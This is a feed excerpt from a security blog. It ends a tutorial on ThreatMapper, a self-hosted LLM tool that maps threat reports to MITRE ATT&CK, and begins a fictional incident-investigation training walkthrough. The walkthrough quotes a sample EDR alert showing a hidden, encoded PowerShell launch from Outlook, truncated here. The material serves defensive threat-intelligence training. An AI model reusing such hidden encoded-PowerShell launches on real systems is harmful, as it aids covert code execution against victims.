src="https://cdn-images-1.medium.com/max/1024/1*RL5VY8-RMrIQv_SIZpwPQQ.png"></figure><ul><li>Similarity score (0–100%)</li><li>Shared technique count</li><li>List of the overlapping technique IDs</li></ul><p>A match above 25–30% is worth investigating. Don’t treat this as definitive attribution — use it as a lead for further research.</p><p><strong>Raw Response</strong> — the LLM’s full JSON output. Useful for debugging when the model outputs something unexpected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T8D25vI8Mt2T7iWmqEJkfA.png"></figure><h3>Inject into Navigator</h3><p>Click <strong>→ Inject into Navigator</strong> to push all extracted techniques into your live Navigator layer. You can then:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9LHKlOmbS1119qTlPKjIA.png"></figure><ul><li>See the techniques highlighted on the full ATT&amp;CK matrix</li><li>Overlay an APT group to visualise the behavioural overlap</li><li>Export as an ATT&amp;CK Navigator JSON layer</li></ul><h3>The Navigator: Your ATT&amp;CK Workspace</h3><p>The Navigator is the central hub. It renders the full ATT&amp;CK matrix as an interactive heatmap with D3.js zoom/pan.</p><h4>Building a layer</h4><p>Click any technique cell to add it to your layer (it turns red). Click again to deselect. For sub-techniques, click the small ▶ arrow to expand the parent cell and see the sub-technique rows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QkMDTHSy82_j4PA96Q3j6A.png"></figure><p><strong>Practical tip:</strong> use the search box to find techniques by name or ID without manually scanning the matrix. Type T1059 to jump to all Command and Scripting Interpreter techniques, or type phish to find all phishing-related techniques.</p><h4>Overlaying an APT group</h4><ol><li>Go to <strong>APT Library</strong> and find your group of interest</li><li>Click <strong>Overlay on Navigator</strong></li><li>Return to <strong>Navigator</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62_zstQMYPoqj4kSTn4nBg.png"></figure><p>The matrix now uses three colours:</p><ul><li><strong>Red</strong> — in your layer only</li><li><strong>Blue</strong> — in the APT group’s profile only</li><li><strong>Amber</strong> — in both (the overlap)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfbZTKCAGTSArnhi3tiMOA.png"></figure><p>This visual immediately answers: <em>“Which of this group’s known techniques am I not already detecting?”</em></p><h4>Importing an existing layer</h4><p>If you already have ATT&amp;CK Navigator layers from previous work, click <strong>↑ Import layer</strong> and upload the JSON. ThreatMapper will load it as your active layer, which you can then enrich with AI analysis or compare against APT groups.</p><h4>Saving and Loading Named Layers</h4><p>Once you have built a TTP layer — whether through AI analysis, manual selection, or an APT campaign overlay — you can save it to the database with a name and reload it in any future session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*m1Zh30Hm7e6wmzZq1Mjdog.png"></figure><h4>Why this matters</h4><p>Without persistence, every session starts blank. You would have to re-inject or re-select all your techniques each time you come back to a piece of work. Named layers let you:</p><ul><li><strong>Bookmark a specific investigation.</strong> Save “Lazarus Q1 2025 incident” at 47 techniques and return to it a week later exactly where you left off.</li><li><strong>Build a fingerprint library.</strong> Save a layer for each major campaign you track — “Operation Ghost TTPs”, “SolarWinds Compromise TTPs” — and reload any of them for comparison without re-running AI analysis.</li><li><strong>Maintain a baseline.</strong> Keep a “What we detect” layer with your detection coverage and a “What we’ve seen” layer of your observed incidents. Load each into a fresh session to compare.</li><li><strong>Share work across team members.</strong> Layers are stored in the shared PostgreSQL database, so a layer saved by one analyst is visible to all.</li></ul><h4>Saving a layer</h4><ol><li>Select your techniques in Navigator (they turn red)</li><li>Click <strong>↓ Save layer</strong> in the toolbar — this button appears only when at least one technique is selected</li><li>Enter a descriptive name (e.g. <em>“MuddyWater CTI analysis — April 2025”</em>)</li><li>Press Enter or click <strong>Save</strong></li></ol><p>The layer is immediately written to the database. The technique IDs are stored in sorted, deduplicated form together with the domain.</p><h4>Loading a layer</h4><ol><li>Click <strong>📂 Load layer</strong> in the toolbar (always visible)</li><li>A list of all saved layers appears, each showing the name, technique count, domain, and last-modified date</li><li>Click <strong>Load</strong> — the saved layer replaces your current selection entirely</li></ol><p>To delete a layer you no longer need, click the <strong>✕</strong> button next to it in the Load dialog and confirm.</p><h3>APT Attribution Deep-Dive: Three Compare Modes</h3><p>The Compare view has three modes selectable from a switcher at the top of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKoiwInK4AuBHDFSINWekA.png"></figure><h4>Mode 1 — Groups (DB 1)</h4><p>With techniques selected in Navigator (or injected from an AI analysis), navigate to <strong>Compare</strong>, make sure <strong>Groups (DB 1)</strong> is selected, and click <strong>Compare vs APT Groups</strong>. This ranks all 174+ threat groups by Jaccard similarity.</p><p>Click any group to open the four-tab detail view:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJW4II93D-bLqFMexDlW1g.png"></figure><p><strong>Overview</strong> — similarity score, shared technique chips (amber), techniques only in your layer (red). Answers: <em>“How much of our observed behaviour matches this group’s known playbook?”</em></p><p><strong>Tactic Breakdown</strong> — stacked bar per kill-chain phase: shared / user-only / APT-only. Reveals <em>where</em> in the kill chain the overlap is concentrated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Dlqijzjnt_Ehr1ULHPmrg.png"></figure><p><strong>Visual Diff</strong> — compact colour-strip matrix. Best for presentations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lLkb-oRUX5Tns2S85SS16g.png"></figure><p><strong>Gap Analysis</strong> — every technique in the group’s known profile not in your layer. This is your detection backlog.</p><h4>Mode 2 — Campaigns (DB 1)</h4><p>Switch to <strong>Campaigns (DB 1)</strong> and click <strong>Compare vs Campaigns</strong>. This ranks all 56+ named MITRE operations by Jaccard similarity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0dTCvSgZ4dMeQDXkbutXPA.png"></figure><p><strong>Why this is more precise than group comparison:</strong> A group’s aggregate profile spans years. A campaign profile is one specific attack. Matching your TTPs against C0024 (SolarWinds Compromise) at 40% is a sharper lead than matching against G0016 (APT29) at 15%.</p><h4>Mode 3 — Reports (DB 2)</h4><p>Switch to <strong>Reports (DB 2)</strong>. The left panel lists every AI analysis you have ever run. Click any report to re-run Jaccard comparison against all ATT&amp;CK groups — without re-calling the LLM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecTDnydMYwWX8-Ncuk8GfQ.png"></figure><p>Use this for retrospective attribution after ATT&amp;CK releases new group data, or to cluster multiple incidents under a common actor.</p><h4>Practical attribution workflow</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JDE0azpONj0OVW95p9yZkg.png"></figure><ol><li>Run AI analysis on your incident data (give it a descriptive name)</li><li>Inject extracted techniques into Navigator</li><li>Compare → Groups mode: look for similarity &gt; 25%</li><li>Compare → Campaigns mode: check if the top group has a campaign that fits the timeline</li><li>Gap Analysis tab: use the technique gap as a structured hunt checklist</li><li>Download the PDF report for your findings</li></ol><h3>Two Databases: Actor Profiles and Your Report Library</h3><p>When you dig into attribution you quickly realise there are two different things you want to compare against:</p><ol><li><strong>What MITRE says groups have done</strong> — the curated ATT&amp;CK dataset of group TTP profiles, including named campaigns (specific operations like “Operation Ghost”)</li><li><strong>What you have actually observed</strong> — your own library of analysed reports, each with its own extracted TTP mapping</li></ol><p>ThreatMapper v0.3 builds both into a single comparison workflow via three modes in the <strong>Compare</strong> view.</p><h4>DB 1: MITRE Actor Profiles and Named Campaigns</h4><p>The ATT&amp;CK STIX 2.1 bundle contains more than just group TTP profiles. It also includes:</p><ul><li><strong>campaign objects</strong> — named operations with their own ATT&amp;CK IDs (e.g. C0023 = "Operation Ghost", C0025 = "2016 Ukraine Electric Power Attack")</li><li><strong>attributed-to relationships</strong> — which group conducted which campaign</li><li><strong>uses relationships at the campaign level</strong> — the specific techniques observed in each named operation (often different from the group's aggregate profile)</li></ul><p>ThreatMapper parses all of this during ATT&amp;CK ingestion. The result is two searchable, comparable datasets that both live in DB 1:</p><p>DatasetWhat it containsID formatAPT GroupsAggregate TTP profile of each named threat groupG0001 — G0174+CampaignsTTP profile of each named operation/campaignC0001 — C0063+</p><p><strong>Why campaigns matter:</strong> A group’s aggregate profile is the union of everything ever attributed to them across all operations and years. A campaign profile is specific to one attack. Comparing your incident TTPs against campaigns is often more discriminating than comparing against the full group — an incident that matches C0023 (Operation Ghost) at 45% similarity is a more specific lead than a match against G0016 (APT29) at 15%.</p><h4>Viewing campaigns in the APT Library</h4><p>The APT Library now has two tabs per group:</p><ul><li><strong>Techniques</strong> — the full aggregate TTP list (existing behaviour)</li><li><strong>Campaigns (DB 1)</strong> — all named operations attributed to this group</li></ul><p>Each campaign card shows the date range, technique count, and ATT&amp;CK ID. Click to expand and see the full technique list with the use description from STIX.</p><p>The <strong>“Add to my TTPs”</strong> button on each campaign card pushes all of that campaign’s techniques into your Navigator layer — useful for building a “this specific operation’s TTP fingerprint” layer to compare against your detection coverage.</p><h4>DB 2: Your Report Library</h4><p>Every time you run an AI analysis in ThreatMapper, the result is stored: the extracted techniques, the summary, the APT matches, and the provider/model used. DB 2 is this library of past analyses.</p><p>Access it via <strong>Compare → Reports (DB 2)</strong>.</p><p>The left panel lists every completed report session with:</p><ul><li>Name (the filename or label you gave it when you uploaded)</li><li>Technique count</li><li>Domain</li><li>Provider and model used</li><li>Date</li></ul><p>Click any report to run a fresh Jaccard comparison of that report’s extracted techniques against all ATT&amp;CK groups. This answers: <em>“If I come back to this report from three months ago — which groups match its TTP profile?”</em></p><p>This is useful in a few scenarios:</p><p><strong>Retrospective attribution:</strong> You analysed a report before you had a strong hypothesis about the actor. A new ATT&amp;CK version was released that added new groups or techniques. Rerun the comparison against the updated ATT&amp;CK data without re-running the expensive LLM analysis.</p><p><strong>Cross-incident correlation:</strong> If two reports from different incidents both have high similarity to the same APT group, that’s a data point for clustering the incidents under the same actor.</p><p><strong>Building a baseline:</strong> Accumulate 20 reports over a quarter. In the Reports library you can see at a glance which groups are recurring themes across your incident set — a form of environmental threat profiling.</p><h4>The three Compare modes</h4><p>ModeWhat you compareAgainst<strong>Groups (DB 1)</strong>Your selected TTPs (from Navigator)All 174+ ATT&amp;CK groups<strong>Campaigns (DB 1)</strong>Your selected TTPs (from Navigator)All named MITRE campaigns<strong>Reports (DB 2)</strong>A stored report’s extracted TTPsAll 174+ ATT&amp;CK groups</p><p>Use the mode switcher at the top of the Compare page to move between them.</p><h4>API for both databases</h4><p>Compare against campaigns:</p><pre>curl -X POST "http://localhost:8000/api/apt/campaigns/compare?domain=enterprise-attack&amp;top_n=10" \<br>  -H "Content-Type: application/json" \<br>  -d '{"technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001"]}'</pre><p>List your stored report sessions:</p><pre>curl "http://localhost:8000/api/analyze/sessions?limit=20" | python -m json.tool</pre><p>Re-compare a stored report:</p><pre>SESSION_ID="550e8400-e29b-41d4-a716-446655440000"<br>curl -X POST "http://localhost:8000/api/analyze/sessions/$SESSION_ID/compare?top_n=10"</pre><p>List campaigns for a specific group:</p><pre>curl "http://localhost:8000/api/apt/campaigns?domain=enterprise-attack&amp;group_id=G0016"</pre><h3>Generating Reports</h3><p>ThreatMapper generates two types of PDF reports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*oyHjzN-tAx7Lx19Xg0IPyA.png"></figure><h4>Analysis report</h4><p>From the <strong>Analyze</strong> page, after a completed analysis, click <strong>Download PDF</strong>. The report is formatted for sharing with management or a client and includes:</p><ul><li>Cover page with provider, model, domain, session ID, and timestamp</li><li>Executive summary (the AI-generated TL;DR)</li><li>Extracted techniques table sorted by confidence descending</li><li>APT attribution section with the top 10 Jaccard matches</li><li>Tactic coverage breakdown showing how the techniques distribute across the kill chain</li></ul><h4>Navigator layer report</h4><p>From the <strong>Navigator</strong>, click <strong>↓ PDF</strong> in the toolbar. This generates a lighter report listing all techniques in your current layer with their ATT&amp;CK IDs, tactics, and platforms — useful as a rapid deliverable for a purple-team session or a detection engineering sprint.</p><h3>Using the AI Chat Assistant</h3><p>Every technique in the detail panel has an embedded AI chat. This is not a generic chatbot — it is a threat intelligence assistant with the full ATT&amp;CK description of the selected technique already in context.</p><p><strong>Practical prompts that work well:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*Rai3eOrk1Upsd4zeHxtroA.png"></figure><p>For detection engineering:</p><blockquote>“Write a SIGMA rule for detecting this technique on Windows via Sysmon events”</blockquote><p>For understanding evasion:</p><blockquote>“How do attackers modify this technique to avoid common detections?”</blockquote><p>For hunting:</p><blockquote>“What should I look for in Windows Security event logs to hunt for this technique? Give me specific event IDs and field values.”</blockquote><p>For red teaming context:</p><blockquote>“Which tools in the open-source red team ecosystem implement this technique?”</blockquote><p>For correlation:</p><blockquote>“Which techniques are commonly chained with this one in post-exploitation workflows?”</blockquote><p>The <strong>context</strong> field at the bottom of the chat lets you paste additional information — for example, a log snippet or a list of technique IDs from your current investigation. This gives the assistant grounding in your specific situation. The context field accepts up to 8,000 characters.</p><h3>Working with All Three ATT&amp;CK Domains</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*lp9MmZunILgId0X7JHQVbw.png"></figure><p>ThreatMapper supports Enterprise, Mobile, and ICS ATT&amp;CK out of the box.</p><p>Switch domains using the <strong>Domain</strong> dropdown in the Navigator toolbar or the Analyze page.</p><p><strong>Enterprise ATT&amp;CK</strong> — 641 techniques, 163 groups. Use for traditional IT infrastructure incidents: Windows/Linux/macOS endpoints, cloud workloads, Active Directory environments.</p><p><strong>Mobile ATT&amp;CK</strong> — covers Android and iOS threat behaviours. Useful for incidents involving mobile device management (MDM) bypass, spyware, or mobile-targeting APT campaigns.</p><p><strong>ICS ATT&amp;CK</strong> — covers operational technology and industrial control systems. Use for incidents involving SCADA, PLCs, HMIs, or critical infrastructure.</p><p>Each domain has its own set of tactics, techniques, and APT groups. When you run an AI analysis, select the appropriate domain so the Jaccard comparison runs against groups known for activity in that domain.</p><h3>API Usage (Headless / CI Integration)</h3><p>ThreatMapper exposes a full REST API. You can drive the entire workflow programmatically.</p><h4>Analyse a report via API</h4><pre>curl -X POST http://localhost:8000/api/analyze \<br>  -F "provider=claude" \<br>  -F "domain=enterprise-attack" \<br>  -F "file=@incident_report.pdf" \<br>  | python -m json.tool</pre><p>Response:</p><pre>{<br>  "session_id": "550e8400-e29b-41d4-a716-446655440000",<br>  "provider": "claude",<br>  "model": "claude-opus-4-8",<br>  "summary": "The report describes a spearphishing campaign ...",<br>  "techniques": [<br>    {<br>      "attack_id": "T1566.001",<br>      "name": "Spearphishing Attachment",<br>      "tactic": "initial-access",<br>      "confidence": 0.95,<br>      "evidence": "the email contained a malicious Excel attachment"<br>    }<br>  ],<br>  "apt_matches": [<br>    {<br>      "group_attack_id": "G0016",<br>      "group_name": "APT29",<br>      "similarity": 0.34,<br>      "shared_count": 8,<br>      "shared_techniques": ["T1566.001", "T1059.001", ...]<br>    }<br>  ]<br>}</pre><h4>Compare a known technique set via API</h4><pre>curl -X POST "http://localhost:8000/api/apt/compare?domain=enterprise-attack&amp;top_n=5" \<br>  -H "Content-Type: application/json" \<br>  -d '{"technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001", "T1003.001"]}' \<br>  | python -m json.tool</pre><h4>Manage saved layers via API</h4><pre># List all saved layers (optionally filter by domain)<br>curl "http://localhost:8000/api/layers?domain=enterprise-attack" | python -m json.tool<br># Save a layer<br>curl -X POST http://localhost:8000/api/layers \<br>  -H "Content-Type: application/json" \<br>  -d '{"name": "MuddyWater Q1 indicators", "domain": "enterprise-attack",<br>       "technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001"]}'<br># Load a specific layer (returns technique_ids)<br>LAYER_ID="550e8400-e29b-41d4-a716-446655440000"<br>curl "http://localhost:8000/api/layers/$LAYER_ID" | python -m json.tool<br># Delete a layer<br>curl -X DELETE "http://localhost:8000/api/layers/$LAYER_ID"</pre><h4>Stream an analysis (Python example)</h4><pre>import httpx, json<br>with httpx.stream(<br>    "POST",<br>    "http://localhost:8000/api/analyze/stream",<br>    data={"provider": "claude", "domain": "enterprise-attack"},<br>    files={"file": open("report.pdf", "rb")},<br>    timeout=300,<br>) as r:<br>    for line in r.iter_lines():<br>        if line.startswith("data: "):<br>            event = json.loads(line[6:])<br>            if event["type"] == "token":<br>                print(event["content"], end="", flush=True)<br>            elif event["type"] == "result":<br>                print("\n\nFinal techniques:")<br>                for t in event["data"]["techniques"]:<br>                    print(f"  {t['attack_id']} ({t['confidence']*100:.0f}%) - {t['name']}")<br>            elif event["type"] == "error":<br>                print(f"\nError: {event['message']}")</pre><h3>Keeping ATT&amp;CK Data Fresh</h3><p>ATT&amp;CK releases new versions periodically (approximately twice a year). ThreatMapper checks for new versions daily at 03:00 UTC via a Celery Beat job.</p><p>The sidebar footer shows a pulsing amber indicator when a new version is available. Trigger an update:</p><pre># Quick API call<br>curl -X POST http://localhost:8000/api/sync/trigger</pre><pre># Check what version you have vs what's available<br>curl <a href="http://localhost:8000/api/sync/status">http://localhost:8000/api/sync/status</a></pre><p>The sync downloads only the new bundle version and ingests it alongside the existing data without deleting anything. Both versions remain queryable — endpoints accept an optional ?version=19.1 parameter to target a specific release.</p><h3>Tips for Analysts</h3><p><strong>Calibrate your confidence threshold.</strong> I recommend treating &lt; 50% confidence as noise until you validate it manually. The LLM is trying hard to find ATT&amp;CK mappings, which means it will sometimes stretch an inference. Use the evidence snippet to sanity-check every mapping.</p><p><strong>Use the Gap Analysis as a hunt checklist.</strong> When you match against an APT group in Compare, the Gap Analysis tab shows every technique in their known profile that you haven’t covered. This is an excellent input for a structured hunt — you’re essentially asking <em>“what would we need to observe to confirm this attribution?”</em></p><p><strong>Chain features for maximum value.</strong> The best workflow is: AI Analysis → inject into Navigator → Compare against APT groups → Gap Analysis → export PDF. Each step builds on the last.</p><p><strong>Chat is good for detection rules.</strong> The AI assistant is particularly strong at generating SIGMA rules, KQL queries, and Splunk SPL from ATT&amp;CK technique IDs. Give it the full ATT&amp;CK technique description plus any specific context from your environment (OS, logging stack) and you’ll get useful starting points rather than generic templates.</p><p><strong>Import your existing layers.</strong> If your team already maintains ATT&amp;CK Navigator layers for your environment (e.g. a “what we detect” layer and a “what we’ve seen” layer), import them via the ↑ Import button. ThreatMapper will let you compare them against APT profiles and run AI chat against the techniques in the layer.</p><p><strong>Save named layers as investigation checkpoints.</strong> After any significant piece of work — a completed AI analysis, a finished APT comparison session, a purple-team prep layer — click <strong>↓ Save layer</strong> and give it a meaningful name. This takes 10 seconds and means you never lose work between sessions. You can reload any saved layer instantly from <strong>📂 Load layer</strong> without re-running analysis.</p><p><strong>Use text paste for quick triage.</strong> You don’t need a formatted document. Paste raw Slack thread text, a SIEM alert body, or a vendor advisory into the text box. The AI is good at extracting signal from noisy, informal text.</p><h3>Security Considerations</h3><p>ThreatMapper is designed for internal/intranet use. It has no built-in authentication — anyone who can reach the Docker network can use it.</p><p><strong>For a team deployment:</strong></p><ol><li>Set a strong DB_PASS in .env</li><li>Put ThreatMapper behind nginx / Caddy with TLS and HTTP Basic Auth (or integrate with your identity provider via OAuth)</li><li>Run the Docker containers on an internal network that is not directly internet-accessible</li><li>The .env file containing your LLM API keys should have chmod 600 and never be committed to git</li></ol><p>Your threat intelligence reports are stored in PostgreSQL inside the Docker volume. If you need to comply with data handling policies, deploy ThreatMapper on infrastructure that meets those policies — since it’s self-hosted, you retain full control.</p><h3>What’s Coming Next</h3><p>The tool is functional but there is plenty of room to grow. Things I’m actively thinking about:</p><ul><li><strong>TAXII/STIX import</strong> — accept threat intelligence directly from TAXII feeds (MISP, OpenCTI, commercial CTI platforms)</li><li><strong>Team collaboration</strong> — shared TTP layers with user namespacing</li><li><strong>Detection coverage overlay</strong> — import your existing SIGMA rule library and visualise which ATT&amp;CK techniques you have coverage for vs which are blind spots</li><li><strong>Automatic APT tracking</strong> — when ATT&amp;CK releases a new version that adds techniques to a group you’re tracking, send a notification</li></ul><h3>Final Thoughts</h3><p>The core idea behind ThreatMapper is that the heavy lifting of ATT&amp;CK mapping — reading a report, recognising a technique, looking it up, comparing it — is exactly the kind of repetitive, pattern-matching work that LLMs are well-suited for.</p><p>The analyst’s judgement is still essential: deciding which mappings to trust, what the attribution implications are, what to do about the gap analysis. But the mechanical translation layer — text to ATT&amp;CK IDs — should not take most of your time.</p><p>ThreatMapper tries to handle that translation layer so you can spend your time on the interesting parts.</p><p>The project is open source under the MIT licence. If you find it useful, have feature requests, or find bugs, open an issue on GitHub.</p><p><strong>GitHub:</strong> <a href="https://github.com/anpa1200/threatmapper">https://github.com/anpa1200/threatmapper</a><br><strong>API Docs:</strong> <a href="http://localhost:8000/docs">http://localhost:8000/docs</a> (after starting with docker compose up)</p><p><em>ThreatMapper uses the MITRE ATT&amp;CK® framework. ATT&amp;CK is a registered trademark of The MITRE Corporation. This project is not affiliated with or endorsed by MITRE.</em></p><h3>Follow for practical cybersecurity research</h3><p>If you’re interested in <strong>Offensive security,</strong> <strong>AI security, real-world attack simulations, CTI, and detection engineering</strong> — this is exactly what I focus on.</p><h4>Stay connected:</h4><p>→ <strong>Subscribe on Medium:</strong> <a href="https://medium.com/@1200km">medium.com/@1200km</a><br>→ <strong>Connect on LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">andrey-pautov</a><br>→ <strong>GitHub — tools &amp; labs:</strong> <a href="https://github.com/anpa1200">github.com/anpa1200</a><br>→ <strong>Contact:</strong> <a href="mailto:1200km@gmail.com">1200km@gmail.com</a></p><p><strong>Andrey Pautov</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=0aa7673e6bd8" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8">ThreatMapper: I Built a Self-Hosted AI Threat Intelligence Platform — Here’s How to Use It</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma]]></title>
<description><![CDATA[A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.Based on the methodol...]]></description>
<link>https://tsecurity.de/de/3580443/hacking/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580443/hacking/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><strong>A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8B3xIJssFbBTn0IvOu6Ng.png"></figure><p><em>All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.</em></p><h3>Based on the methodology: “CTI as a Code”</h3><p><a href="https://medium.com/@1200km/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46">CTI as a Code: Complete Step-by-Step Methodology</a></p><h3>Contents</h3><ol><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#276c"><strong>The Scenario</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#8c81"><strong>Step 00: Clone, Initialize, and Fill the Template</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#cd59"><strong>Step 0: Intake — What the First Call Captures</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#999a"><strong>Step 1–2: Project Setup and Scope</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#7b9a"><strong>Step R1: Evidence Inventory — What Exists and What Is Missing</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#a778"><strong>Step R1.5: Hands-On Evidence Analysis — VS Code Investigation</strong></a><strong><br></strong><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#966d">1. CrowdStrike Alert — JSON in VS Code</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#2702">2. Decode the PowerShell Payload</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#2db4">3. M365 Message Trace — Rainbow CSV</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#13b3">4. Azure AD Sign-In Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#6238">5. VPN Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#b73e">6. NGFW Log Analysis — Rainbow CSV</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#a734">7. SQL Audit Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#ecca">8. Windows Security Event Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#13de">9. Cross-File Pivot — VS Code Global Search</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#9a59">10. IOC Enrichment — REST Client</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#0bd0">11. Sandbox Analysis — Submit the Binary</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#da15">12. Static Binary Analysis — Hex Editor + Terminal</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#97f1">13. Infrastructure Pivot — REST Client + Global Search</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#c0c4">14. Splunk Correlation (SIEM Validation)</a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#5829"><strong>Step R2: Timeline — Two Paths, One Actor</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#06d0"><strong>Step R3: Claims Ledger — Every Assertion Traced to Evidence</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#bc78"><strong>Step R4: ATT&amp;CK Mapping — Where Detection Failed</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#7d71"><strong>Step R5: Attribution Assessment — Same Actor or Two?</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#b2e8"><strong>Step R6: Detection Rules — Four That Would Have Changed the Outcome</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#d8bd"><strong>Step R7: Deliverables — What Each Stakeholder Gets</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#cf97"><strong>The Git History: What a Completed Investigation Looks Like</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#5f5a"><strong>Key Lessons</strong></a></li></ol><h3>The Scenario</h3><p><strong>LifeTech Pharma Ltd.</strong> is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ — 47 files, approximately 380 MB compressed.</p><p>On <strong>Friday, 15 November 2024 at 18:47 IST</strong>, the on-call SOC analyst receives a CrowdStrike behavioral detection:</p><pre>ALERT: Suspicious PowerShell Activity<br>Severity: High — Behavioral IOA<br>Host: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]<br>Process: powershell.exe (PID 3784)<br>Parent: OUTLOOK.EXE (PID 2240)<br>CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...<br>Timestamp: 2024-11-15T18:42:33Z</pre><p>That’s the visible trigger. The actual breach started <strong>24 days earlier</strong> — and the alert is the second of two entry points, not the first.</p><h3>Step 00: Clone, Initialize, and Fill the Template</h3><p><strong>Before the phone rings.</strong> This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.</p><h4>1. Clone the repository (one-time setup)</h4><p>If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:</p><pre>cd ~<br>git clone https://github.com/anpa1200/CTI_as_a_Code.git</pre><p>You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:</p><pre>cd 